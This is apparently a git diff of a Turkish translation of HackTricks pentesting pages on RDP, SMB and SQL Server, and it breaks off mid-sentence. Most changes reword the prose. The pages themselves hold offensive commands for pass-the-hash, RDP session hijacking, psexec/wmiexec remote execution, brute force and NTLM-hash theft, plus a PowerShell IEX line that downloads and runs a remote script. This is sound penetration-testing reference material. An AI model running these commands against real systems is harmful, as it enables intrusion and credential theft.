.Invoke-SqlServer-Escalate-ExecuteAs.psm1 Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword! @@ -540,7 +544,7 @@ Bu istismar için bazı gereksinimler ve yapılandırmalar yapılmalıdır. Önc İzinlerinizi doğruladıktan sonra, aşağıdaki üç şeyi yapılandırmanız gerekir: 1. SQL Server örneklerinde TCP/IP'yi etkinleştirin; -2. Bir Başlangıç parametresi ekleyin, bu durumda bir izleme bayrağı eklenecektir, bu -T7806'dır. +2. Bir Başlangıç parametresi ekleyin, bu durumda -T7806 olan bir izleme bayrağı eklenecektir. 3. Uzaktan yönetici bağlantısını etkinleştirin. Bu yapılandırmaları otomatikleştirmek için, [bu depo](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) gerekli scriptleri içermektedir. Her yapılandırma adımı için bir powershell scriptinin yanı sıra, depo ayrıca yapılandırma scriptlerini ve şifrelerin çıkarılması ve şifrelerinin çözülmesini birleştiren tam bir script de içermektedir. diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md index 97d92f77a..cc02f2617 100644 --- a/src/network-services-pentesting/pentesting-rdp.md +++ b/src/network-services-pentesting/pentesting-rdp.md @@ -5,7 +5,7 @@ ## Temel Bilgiler -Microsoft tarafından geliştirilen **Remote Desktop Protocol** (**RDP**), bilgisayarlar arasında bir ağ üzerinden grafiksel bir arayüz bağlantısı sağlamayı amaçlamaktadır. Böyle bir bağlantı kurmak için, kullanıcı tarafından **RDP** istemci yazılımı kullanılır ve aynı anda, uzak bilgisayarın **RDP** sunucu yazılımını çalıştırması gerekmektedir. Bu yapı, uzak bir bilgisayarın masaüstü ortamının kesintisiz kontrolünü ve erişimini sağlar, temelde arayüzünü kullanıcının yerel cihazına getirir. +Microsoft tarafından geliştirilen **Remote Desktop Protocol** (**RDP**), bilgisayarlar arasında bir ağ üzerinden grafiksel bir arayüz bağlantısı sağlamak için tasarlanmıştır. Böyle bir bağlantı kurmak için, kullanıcı tarafından **RDP** istemci yazılımı kullanılır ve aynı anda, uzak bilgisayarın **RDP** sunucu yazılımını çalıştırması gerekmektedir. Bu yapı, uzak bir bilgisayarın masaüstü ortamının kesintisiz kontrolünü ve erişimini sağlar, temelde arayüzünü kullanıcının yerel cihazına getirir. **Varsayılan port:** 3389 ``` @@ -40,7 +40,7 @@ rdesktop -d -u -p xfreerdp [/d:domain] /u: /p: /v: xfreerdp [/d:domain] /u: /pth: /v: #Pass the hash ``` -### RDP hizmetlerine karşı bilinen kimlik bilgilerini kontrol etme +### RDP hizmetlerine karşı bilinen kimlik bilgilerini kontrol et impacket'ten rdp_check.py, bazı kimlik bilgilerinin bir RDP hizmeti için geçerli olup olmadığını kontrol etmenizi sağlar: ```bash @@ -62,9 +62,9 @@ tscon /dest: ``` Şimdi seçilen RDP oturumunun içinde olacaksınız ve yalnızca Windows araçları ve özelliklerini kullanarak bir kullanıcıyı taklit edeceksiniz. -**Önemli**: Aktif RDP oturumlarına eriştiğinizde, onu kullanan kullanıcıyı çıkartacaksınız. +**Önemli**: Aktif bir RDP oturumuna eriştiğinizde, onu kullanan kullanıcıyı çıkartacaksınız. -Şifreleri süreçten dökerek alabilirsiniz, ancak bu yöntem çok daha hızlıdır ve kullanıcıların sanal masaüstleriyle etkileşimde bulunmanızı sağlar (şifreler not defterinde, diske kaydedilmeden, diğer makinelerde açık olan diğer RDP oturumları...) +Şifreleri süreçten dökerek alabilirsiniz, ancak bu yöntem çok daha hızlıdır ve kullanıcıların sanal masaüstleriyle etkileşimde bulunmanıza olanak tanır (şifreler not defterinde, diske kaydedilmeden, diğer makinelerde açık olan diğer RDP oturumları...) #### **Mimikatz** @@ -77,7 +77,7 @@ ts::remote /id:2 #Connect to the session Bu tekniği **stickykeys** veya **utilman** ile birleştirerek, her zaman bir yönetici CMD ve herhangi bir RDP oturumuna erişim sağlayabilirsiniz. -Bu tekniklerden biriyle arka kapı bırakılmış RDP'leri [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) ile arayabilirsiniz. +Bu tekniklerden biriyle arka kapı bırakılmış RDP'leri şunlarla arayabilirsiniz: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) ### RDP Süreç Enjeksiyonu @@ -95,15 +95,19 @@ net localgroup "Remote Desktop Users" UserLoginName /add - [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) -**AutoRDPwn**, Microsoft Windows bilgisayarlarında **Shadow** saldırısını otomatikleştirmek için tasarlanmış, Powershell'de oluşturulmuş bir post-exploitation framework'tür. Bu zafiyet (Microsoft tarafından bir özellik olarak listelenmiştir), uzaktan bir saldırganın **kurbanının masaüstünü izleyebilmesine ve hatta talep üzerine kontrol edebilmesine** olanak tanır; bu, işletim sisteminin kendisine ait araçlar kullanılarak gerçekleştirilir. +**AutoRDPwn**, Microsoft Windows bilgisayarlarında **Shadow** saldırısını otomatikleştirmek için tasarlanmış, Powershell'de oluşturulmuş bir post-exploitation framework'tür. Bu zafiyet (Microsoft tarafından bir özellik olarak listelenmiştir), uzaktan bir saldırganın **kurbanının masaüstünü izleyebilmesine ve hatta talep üzerine kontrol edebilmesine** olanak tanır; bu, işletim sisteminin kendisine ait araçlar kullanılarak yapılır. - [**EvilRDP**](https://github.com/skelsec/evilrdp) - Komut satırından otomatik bir şekilde fare ve klavye kontrolü - Komut satırından otomatik bir şekilde panoya erişim - RDP üzerinden hedefe ağ iletişimini yönlendiren bir SOCKS proxy'si oluşturma -- Hedefte dosya yüklemeden rastgele SHELL ve PowerShell komutları çalıştırma +- Hedefte dosya yüklemeden rastgele SHELL ve PowerShell komutları yürütme - Hedefte dosya transferleri devre dışı olsa bile hedefe dosya yükleme ve indirme +- [**SharpRDP**](https://github.com/0xthirteen/SharpRDP) + +Bu araç, kurban RDP'sinde **grafik arayüzüne ihtiyaç duymadan** komutlar yürütmeyi sağlar. + ## HackTricks Automatic Commands ``` Protocol_Name: RDP #Protocol Abbreviation if there is one. diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md index c4c66f75b..a2345cd4c 100644 --- a/src/network-services-pentesting/pentesting-smb.md +++ b/src/network-services-pentesting/pentesting-smb.md @@ -4,7 +4,7 @@ ## **Port 139** -_**Ağ Temel Giriş Çıkış Sistemi**_** (NetBIOS)**, uygulamaların, PC'lerin ve masaüstlerinin yerel alan ağı (LAN) içinde ağ donanımı ile etkileşimde bulunmasını sağlamak ve **verilerin ağ üzerinden iletimini kolaylaştırmak** için tasarlanmış bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, 16 karaktere kadar uzunlukta olabilen ve genellikle bilgisayar adından farklı olan NetBIOS adları aracılığıyla gerçekleştirilir. İki uygulama arasında bir NetBIOS oturumu, bir uygulama (istemci olarak hareket eden) "çağırmak" için başka bir uygulamaya (sunucu olarak hareket eden) **TCP Port 139** kullanarak bir komut verdiğinde başlatılır. +_**Ağ Temel Giriş Çıkış Sistemi**_** (NetBIOS)**, uygulamaların, PC'lerin ve masaüstlerinin yerel alan ağı (LAN) içinde ağ donanımı ile etkileşimde bulunmasını sağlamak ve **verilerin ağ üzerinden iletimini kolaylaştırmak** için tasarlanmış bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, genellikle bilgisayar adından farklı olan ve uzunluğu 16 karaktere kadar çıkabilen NetBIOS adları aracılığıyla gerçekleştirilir. İki uygulama arasında bir NetBIOS oturumu, bir uygulama (istemci olarak hareket eden) diğer bir uygulamayı (sunucu olarak hareket eden) "aramak" için bir komut verdiğinde **TCP Port 139** kullanılarak başlatılır. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` @@ -12,22 +12,22 @@ _**Ağ Temel Giriş Çıkış Sistemi**_** (NetBIOS)**, uygulamaların, PC'lerin Teknik olarak, Port 139 'NBT over IP' olarak adlandırılırken, Port 445 'SMB over IP' olarak tanımlanır. Kısaltma **SMB**, '**Server Message Blocks**' anlamına gelir ve modern olarak **Common Internet File System (CIFS)** olarak da bilinir. Uygulama katmanı ağ protokolü olarak, SMB/CIFS esasen dosyalara, yazıcılara, seri portlara paylaşımlı erişimi sağlamak ve bir ağ üzerindeki düğümler arasında çeşitli iletişim biçimlerini kolaylaştırmak için kullanılır. -Örneğin, Windows bağlamında, SMB'nin doğrudan TCP/IP üzerinden çalışabileceği, böylece TCP/IP üzerinden NetBIOS'a olan gereksinimin ortadan kalktığı vurgulanmaktadır; bu, port 445'in kullanımıyla mümkündür. Tersine, farklı sistemlerde port 139'un kullanımı gözlemlenmektedir; bu, SMB'nin TCP/IP üzerinden NetBIOS ile birlikte çalıştığını göstermektedir. +Örneğin, Windows bağlamında, SMB'nin doğrudan TCP/IP üzerinden çalışabileceği, böylece TCP/IP üzerinden NetBIOS'a olan gereksinimi ortadan kaldırdığı vurgulanmaktadır; bu, port 445'in kullanımıyla mümkündür. Tersine, farklı sistemlerde port 139'un kullanımı gözlemlenmektedir; bu, SMB'nin TCP/IP üzerinden NetBIOS ile birlikte çalıştığını göstermektedir. ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB -**Server Message Block (SMB)** protokolü, **istemci-sunucu** modelinde çalışarak **dosyalara**, dizinlere ve yazıcılar ile yönlendiriciler gibi diğer ağ kaynaklarına **erişimi** düzenlemek için tasarlanmıştır. Öncelikle **Windows** işletim sistemi serisi içinde kullanılan SMB, geriye dönük uyumluluğu sağlar; bu sayede Microsoft'un işletim sisteminin daha yeni sürümlerine sahip cihazlar, daha eski sürümlerle sorunsuz bir şekilde etkileşimde bulunabilir. Ayrıca, **Samba** projesi, SMB'nin **Linux** ve Unix sistemlerinde uygulanmasını sağlayan ücretsiz bir yazılım çözümü sunarak, SMB üzerinden çapraz platform iletişimini kolaylaştırır. +**Server Message Block (SMB)** protokolü, **istemci-sunucu** modelinde çalışarak **dosyalara**, dizinlere ve yazıcılar ve yönlendiriciler gibi diğer ağ kaynaklarına **erişimi** düzenlemek için tasarlanmıştır. Öncelikle **Windows** işletim sistemi serisi içinde kullanılan SMB, geriye dönük uyumluluğu sağlayarak, Microsoft'un işletim sisteminin daha yeni sürümlerine sahip cihazların, daha eski sürümleri çalıştıranlarla sorunsuz bir şekilde etkileşimde bulunmasına olanak tanır. Ayrıca, **Samba** projesi, SMB'nin **Linux** ve Unix sistemlerinde uygulanmasını sağlayan ücretsiz bir yazılım çözümü sunarak, SMB üzerinden çapraz platform iletişimini kolaylaştırır. -Yerel dosya sisteminin **rastgele parçalarını** temsil eden paylaşımlar, bir SMB sunucusu tarafından sağlanabilir ve bu, istemciye sunucunun gerçek yapısından kısmen **bağımsız** bir hiyerarşi sunar. **Erişim Kontrol Listeleri (ACL'ler)**, **erişim haklarını** tanımlayarak, **`çalıştırma`**, **`okuma`** ve **`tam erişim`** gibi nitelikler de dahil olmak üzere kullanıcı izinleri üzerinde **ince ayar** kontrolü sağlar. Bu izinler, paylaşımlara dayalı olarak bireysel kullanıcılara veya gruplara atanabilir ve sunucuda ayarlanan yerel izinlerden farklıdır. +**Yerel dosya sisteminin** **rastgele parçalarını** temsil eden paylaşımlar, bir SMB sunucusu tarafından sağlanabilir ve bu, istemciye sunucunun gerçek yapısından kısmen **bağımsız** bir hiyerarşi sunar. **Erişim Kontrol Listeleri (ACL'ler)**, **erişim haklarını** tanımlayarak, **ince ayar kontrolü** sağlar; bu, **`çalıştırma`**, **`okuma`** ve **`tam erişim`** gibi nitelikleri içerir. Bu izinler, paylaşımlara dayalı olarak bireysel kullanıcılara veya gruplara atanabilir ve sunucuda ayarlanan yerel izinlerden farklıdır. ### IPC$ Share IPC$ paylaşımına anonim bir null oturumu aracılığıyla erişim sağlanabilir ve bu, adlandırılmış borular aracılığıyla sunulan hizmetlerle etkileşimde bulunmayı mümkün kılar. Bu amaçla `enum4linux` aracı faydalıdır. Doğru kullanıldığında, aşağıdakilerin edinilmesini sağlar: - İşletim sistemi hakkında bilgi -- Ana alan hakkında detaylar +- Ana alan hakkında ayrıntılar - Yerel kullanıcılar ve grupların derlemesi - Mevcut SMB paylaşımları hakkında bilgi - Etkili sistem güvenlik politikası @@ -40,7 +40,7 @@ Yukarıdaki komut, `target_ip` ile belirtilen bir hedefe karşı tam bir enumera ## NTLM Nedir -Eğer NTLM'in ne olduğunu bilmiyorsanız veya nasıl çalıştığını ve nasıl istismar edileceğini öğrenmek istiyorsanız, **bu protokolün nasıl çalıştığını ve nasıl faydalanabileceğinizi** açıklayan **NTLM** hakkında bu sayfayı çok ilginç bulacaksınız: +Eğer NTLM'in ne olduğunu bilmiyorsanız veya nasıl çalıştığını ve nasıl istismar edileceğini öğrenmek istiyorsanız, **NTLM** hakkında bu sayfayı çok ilginç bulacaksınız; burada **bu protokolün nasıl çalıştığı ve ondan nasıl yararlanabileceğiniz açıklanmaktadır:** {{#ref}} ../windows-hardening/ntlm/ @@ -56,8 +56,8 @@ nbtscan -r 192.168.0.1/24 SMB versiyonuna olası istismarlar aramak için hangi versiyonun kullanıldığını bilmek önemlidir. Bu bilgi diğer kullanılan araçlarda görünmüyorsa, şunları yapabilirsiniz: -- **MSF** yardımcı modülünü kullanın \_**auxiliary/scanner/smb/smb_version** -- Ya da bu scripti: +- **MSF** yardımcı modülünü _**auxiliary/scanner/smb/smb_version**_ kullanın +- Ya da bu scripti kullanın: ```bash #!/bin/sh #Author: rewardone @@ -74,7 +74,7 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "" && sleep .1 ``` -### **Arama açığı** +### **Arama istismarı** ```bash msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb @@ -87,9 +87,9 @@ searchsploit microsoft smb | misafir | _(boş)_ | | Yönetici, admin | _(boş)_, şifre, yönetici, admin | | arcserve | arcserve, yedek | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, yedek | backupexec, yedek, arcada | -| test, lab, demo | şifre, test, lab, demo | +| tivoli, tmersrvd | tivoli, tmersrvd, admin | +| backupexec, yedek | backupexec, yedek, arcada | +| test, lab, demo | şifre, test, lab, demo | ### Kaba Kuvvet @@ -165,7 +165,7 @@ pentesting-smb/rpcclient-enumeration.md `smb://friendzone.htb/general/` -## Paylaşılan Klasörlerin Listelemesi +## Paylaşılan Klasörleri Listeleme ### Paylaşılan klasörleri listele @@ -197,7 +197,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t ``` ### **Manually enumerate windows shares and connect to them** -Ana makinenin herhangi bir paylaşımlarını görüntülemede kısıtlı olabileceğiniz ve bunları listelemeye çalıştığınızda, bağlanacak herhangi bir paylaşım olmadığı gibi görünebilir. Bu nedenle, bir paylaşım ile manuel olarak bağlantı kurmayı denemek faydalı olabilir. Paylaşımları manuel olarak listelemek için, geçerli bir oturum kullanırken (örneğin, null oturum veya geçerli kimlik bilgileri) NT_STATUS_ACCESS_DENIED ve NT_STATUS_BAD_NETWORK_NAME gibi yanıtları aramak isteyebilirsiniz. Bu, paylaşımın var olup olmadığını ve ona erişiminizin olup olmadığını gösterebilir veya paylaşımın hiç var olmadığını belirtebilir. +Ana makinenin herhangi bir paylaşımlarını görüntülemede kısıtlı olabileceğiniz ve bunları listelemeye çalıştığınızda, bağlanacak herhangi bir paylaşım olmadığı gibi görünebilir. Bu nedenle, bir paylaşım ile manuel olarak bağlanmayı denemek faydalı olabilir. Paylaşımları manuel olarak listelemek için, geçerli bir oturum kullanırken (örneğin, null oturum veya geçerli kimlik bilgileri) NT_STATUS_ACCESS_DENIED ve NT_STATUS_BAD_NETWORK_NAME gibi yanıtları aramak isteyebilirsiniz. Bu, paylaşımın var olup olmadığını ve ona erişiminizin olup olmadığını gösterebilir veya paylaşımın hiç var olmadığını belirtebilir. Windows hedefleri için yaygın paylaşım adları şunlardır: @@ -212,7 +212,7 @@ Windows hedefleri için yaygın paylaşım adları şunlardır: (Yaygın paylaşım adları _**Network Security Assessment 3rd edition**_’dan) -Bunlara bağlanmayı denemek için aşağıdaki komutu kullanabilirsiniz. +Onlara bağlanmayı denemek için aşağıdaki komutu kullanabilirsiniz. ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) @@ -242,7 +242,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o ### **Windows'tan payları listele / üçüncü taraf araçlar olmadan** PowerShell -```powershell +```bash # Retrieves the SMB shares on the locale computer. Get-SmbShare Get-WmiObject -Class Win32_Share @@ -258,7 +258,7 @@ net share # List shares on a remote computer (including hidden ones) net view \\ /all ``` -MMC Ekleme (grafik) +MMC Eklentisi (grafik) ```shell # Shared Folders: Shared Folders > Shares fsmgmt.msc @@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **Dosyaları İndir** -Kimlik bilgileriyle nasıl bağlantı kurulacağını öğrenmek için önceki bölümleri okuyun/Pass-the-Hash. +Kimlik bilgileriyle nasıl bağlanacağınızı öğrenmek için önceki bölümleri okuyun/Pass-the-Hash. ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap @@ -300,7 +300,7 @@ Komutlar: ### Alan Paylaşılan Klasörler Arama -- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\* +- [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` @@ -310,15 +310,19 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Özellikle paylaşımlardan ilginç olanlar, **`Registry.xml`** adlı dosyalardır çünkü bunlar **autologon** ile yapılandırılmış kullanıcılar için **şifreler** içerebilir. Veya **`web.config`** dosyaları, çünkü bunlar kimlik bilgileri içerir. +Özellikle paylaşımlardan ilginç olanlar, **`Registry.xml`** olarak adlandırılan dosyalardır çünkü bunlar **autologon** ile yapılandırılmış kullanıcılar için **şifreler** içerebilir. Ya da **`web.config`** dosyaları, çünkü bunlar kimlik bilgilerini içerir. + +- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares) +- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")` +- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test` > [!NOTE] -> **SYSVOL paylaşımı**, alan içindeki tüm kimlik doğrulaması yapılmış kullanıcılar tarafından **okunabilir**. İçinde birçok farklı batch, VBScript ve PowerShell **script** bulabilirsiniz.\ +> **SYSVOL paylaşımı**, alan içindeki tüm kimlik doğrulaması yapılmış kullanıcılar tarafından **okunabilir**. İçinde birçok farklı toplu iş, VBScript ve PowerShell **script** bulabilirsiniz.\ > İçindeki **script**'leri **kontrol** etmelisiniz çünkü **şifreler** gibi hassas bilgileri **bulabilirsiniz**. ## Kayıt Defterini Oku -Bulunan bazı kimlik bilgilerini kullanarak **kayıt defterini okumayı** başarabilirsiniz. Impacket **`reg.py`** denemenize olanak tanır: +Bulunan bazı kimlik bilgilerini kullanarak **kayıt defterini** **okuyabilirsiniz**. Impacket **`reg.py`** denemenize olanak tanır: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s @@ -330,18 +334,18 @@ Bir **Samba** sunucusunun **varsayılan yapılandırması** genellikle `/etc/sam | **Ayar** | **Açıklama** | | --------------------------- | ------------------------------------------------------------------ | -| `browseable = yes` | Mevcut paylaşımları listelemeye izin ver? | +| `browseable = yes` | Mevcut paylaşımları listelemeye izin verilsin mi? | | `read only = no` | Dosyaların oluşturulmasını ve değiştirilmesini yasakla? | -| `writable = yes` | Kullanıcıların dosya oluşturmasına ve değiştirmesine izin ver? | -| `guest ok = yes` | Şifre kullanmadan hizmete bağlanmaya izin ver? | +| `writable = yes` | Kullanıcıların dosya oluşturmasına ve değiştirmesine izin ver? | +| `guest ok = yes` | Şifre kullanmadan hizmete bağlanmaya izin verilsin mi? | | `enable privileges = yes` | Belirli SID'lere atanan ayrıcalıkları dikkate al? | | `create mask = 0777` | Yeni oluşturulan dosyalara hangi izinlerin atanması gerekir? | | `directory mask = 0777` | Yeni oluşturulan dizinlere hangi izinlerin atanması gerekir? | | `logon script = script.sh` | Kullanıcının girişi sırasında hangi scriptin çalıştırılması gerekir? | -| `magic script = script.sh` | Script kapandığında hangi scriptin çalıştırılması gerekir? | -| `magic output = script.out` | Magic scriptin çıktısının nereye kaydedilmesi gerekir? | +| `magic script = script.sh` | Script kapandığında hangi scriptin çalıştırılması gerekir? | +| `magic output = script.out` | Magic scriptin çıktısının nereye kaydedilmesi gerekir? | -` smbstatus` komutu **sunucu** hakkında ve **kimin bağlı olduğu** hakkında bilgi verir. +`Smbstatus` komutu **sunucu** hakkında ve **kimin bağlı olduğu** hakkında bilgi verir. ## Authenticate using Kerberos @@ -354,7 +358,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec, **wmiexec** varsayılan yöntem olmak üzere, **mmcexec, smbexec, atexec, wmiexec** kullanarak komutları çalıştırabilir. Hangi seçeneği kullanmak istediğinizi `--exec-method` parametresi ile belirtebilirsiniz: +crackmapexec, **wmiexec** varsayılan yöntem olmak üzere, **mmcexec, smbexec, atexec, wmiexec**'i **istismar ederek** komutları çalıştırabilir. Hangi seçeneği kullanmak istediğinizi `--exec-method` parametresi ile belirtebilirsiniz: ```bash apt-get install crackmapexec @@ -378,7 +382,7 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md) -Her iki seçenek de **kurban makinesinde yeni bir hizmet oluşturacaktır** (SMB aracılığıyla _\pipe\svcctl_ kullanarak) ve bunu **bir şey çalıştırmak için** kullanacaktır (**psexec** bir yürütülebilir dosyayı ADMIN$ paylaşımına **yükleyecek** ve **smbexec** **cmd.exe/powershell.exe**'ye işaret edecek ve argümanlara yükü koyacaktır --**dosya-sız teknik-**-).\ +Her iki seçenek de **kurban makinesinde yeni bir hizmet oluşturacaktır** (SMB üzerinden _\pipe\svcctl_ kullanarak) ve bunu **bir şey çalıştırmak için** kullanacaktır (**psexec** bir yürütülebilir dosyayı ADMIN$ paylaşımına **yükleyecek** ve **smbexec** **cmd.exe/powershell.exe**'ye işaret edecek ve argümanlara yükü koyacaktır --**dosya olmadan teknik-**-).\ **Daha fazla bilgi** için [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)ve [**smbexec**](../windows-hardening/ntlm/smbexec.md).\ **kali**'de /usr/share/doc/python3-impacket/examples/ dizininde bulunmaktadır. ```bash @@ -392,7 +396,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass ### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec -Diskle temas etmeden veya yeni bir hizmet çalıştırmadan **port 135** üzerinden DCOM kullanarak gizlice bir komut kabuğu çalıştırın.\ +Diskle temas etmeden veya yeni bir hizmet çalıştırmadan DCOM aracılığıyla **port 135** kullanarak gizlice bir komut kabuğu çalıştırın.\ **kali**'de /usr/share/doc/python3-impacket/examples/ konumundadır. ```bash #If no password is provided, it will be prompted @@ -409,7 +413,7 @@ Diskle temas etmeden veya yeni bir hizmet çalıştırmadan **port 135** üzerin ``` ### [AtExec](../windows-hardening/ntlm/atexec.md) -Komutları Görev Zamanlayıcı aracılığıyla çalıştırın (SMB üzerinden _\pipe\atsvc_ kullanarak).\ +Görev Zamanlayıcı aracılığıyla komutları çalıştırın (SMB üzerinden _\pipe\atsvc_ kullanarak).\ **kali**'de /usr/share/doc/python3-impacket/examples/ dizininde bulunmaktadır. ```bash ./atexec.py [[domain/]username[:password]@] "command" @@ -419,7 +423,7 @@ Komutları Görev Zamanlayıcı aracılığıyla çalıştırın (SMB üzerinden [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) -## **Kaba kuvvetle kullanıcı kimlik bilgilerini elde etme** +## **Kaba kuvvetle kullanıcı kimlik bilgileri** **Bu önerilmez, maksimum izin verilen deneme sayısını aşarsanız bir hesabı engelleyebilirsiniz** ```bash @@ -433,7 +437,7 @@ Bu saldırı, iç ağda **SMB kimlik doğrulama oturumlarını** **yakalamak** i ## SMB-Trap -Windows kütüphanesi URLMon.dll, bir sayfa SMB üzerinden bazı içeriklere erişmeye çalıştığında otomatik olarak ana bilgisayara kimlik doğrulama yapmaya çalışır, örneğin: `img src="\\10.10.10.10\path\image.jpg"` +Windows kütüphanesi URLMon.dll, bir sayfa SMB üzerinden bazı içeriklere erişmeye çalıştığında otomatik olarak ana bilgisayara kimlik doğrulaması yapmaya çalışır, örneğin: `img src="\\10.10.10.10\path\image.jpg"` Bu, aşağıdaki işlevlerle gerçekleşir: @@ -452,7 +456,7 @@ Bu işlevler bazı tarayıcılar ve araçlar (Skype gibi) tarafından kullanıl ## NTLM Theft -SMB Trapping'e benzer şekilde, hedef sisteme kötü niyetli dosyalar yerleştirmek (örneğin SMB üzerinden) bir SMB kimlik doğrulama denemesi başlatabilir ve NetNTLMv2 hash'inin Responder gibi bir araçla yakalanmasına olanak tanır. Hash daha sonra çevrimdışı olarak kırılabilir veya [SMB relay attack](pentesting-smb.md#smb-relay-attack) için kullanılabilir. +SMB Trapping'e benzer şekilde, hedef sisteme kötü niyetli dosyalar yerleştirmek (örneğin SMB üzerinden) bir SMB kimlik doğrulama girişimini tetikleyebilir ve NetNTLMv2 hash'inin Responder gibi bir araçla yakalanmasına olanak tanır. Hash daha sonra çevrimdışı olarak kırılabilir veya [SMB relay attack](pentesting-smb.md#smb-relay-attack) için kullanılabilir. [See: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index 68ac071c4..433fcf2e7 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,7 +4,7 @@ ## **Port 139** -_**Ağ Temel Giriş Çıkış Sistemi**_\*\* (NetBIOS)\*\* , uygulamaların, PC'lerin ve masaüstlerinin yerel alan ağı (LAN) içinde ağ donanımı ile etkileşimde bulunmasını sağlamak ve **verilerin ağ üzerinden iletimini kolaylaştırmak** için tasarlanmış bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, genellikle bilgisayar adından farklı olabilen ve 16 karaktere kadar uzunlukta olabilen NetBIOS adları aracılığıyla gerçekleştirilir. İki uygulama arasındaki bir NetBIOS oturumu, bir uygulama (istemci olarak hareket eden) diğer bir uygulamayı (sunucu olarak hareket eden) **TCP Port 139** kullanarak "aramak" için bir komut verdiğinde başlatılır. +_**Ağ Temel Giriş Çıkış Sistemi**_** (NetBIOS)**, uygulamaların, PC'lerin ve masaüstlerinin yerel alan ağı (LAN) içinde ağ donanımı ile etkileşimde bulunmasını sağlamak ve **verilerin ağ üzerinden iletimini kolaylaştırmak** için tasarlanmış bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, 16 karakter uzunluğuna kadar çıkabilen ve genellikle bilgisayar adından farklı olan NetBIOS adları aracılığıyla gerçekleştirilir. İki uygulama arasında bir NetBIOS oturumu, bir uygulama (istemci olarak hareket eden) diğer bir uygulamayı (sunucu olarak hareket eden) "aramak" için bir komut verdiğinde **TCP Port 139** kullanılarak başlatılır. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` @@ -12,17 +12,17 @@ _**Ağ Temel Giriş Çıkış Sistemi**_\*\* (NetBIOS)\*\* , uygulamaların, PC' Teknik olarak, Port 139 'NBT over IP' olarak adlandırılırken, Port 445 'SMB over IP' olarak tanımlanır. Kısaltma **SMB**, '**Server Message Blocks**' anlamına gelir ve modern olarak **Common Internet File System (CIFS)** olarak da bilinir. Uygulama katmanı ağ protokolü olarak, SMB/CIFS esasen dosyalara, yazıcılara, seri portlara paylaşımlı erişimi sağlamak ve bir ağ üzerindeki düğümler arasında çeşitli iletişim biçimlerini kolaylaştırmak için kullanılır. -Örneğin, Windows bağlamında, SMB'nin doğrudan TCP/IP üzerinden çalışabileceği, böylece TCP/IP üzerinden NetBIOS'a olan gereksinimin ortadan kalktığı vurgulanmaktadır; bu, port 445'in kullanımıyla mümkündür. Aksine, farklı sistemlerde port 139'un kullanımı gözlemlenmektedir; bu, SMB'nin TCP/IP üzerinden NetBIOS ile birlikte çalıştığını göstermektedir. +Örneğin, Windows bağlamında, SMB'nin doğrudan TCP/IP üzerinden çalışabileceği, böylece port 445'in kullanımıyla TCP/IP üzerinden NetBIOS'a olan gereksinimin ortadan kalktığı vurgulanmaktadır. Tersine, farklı sistemlerde port 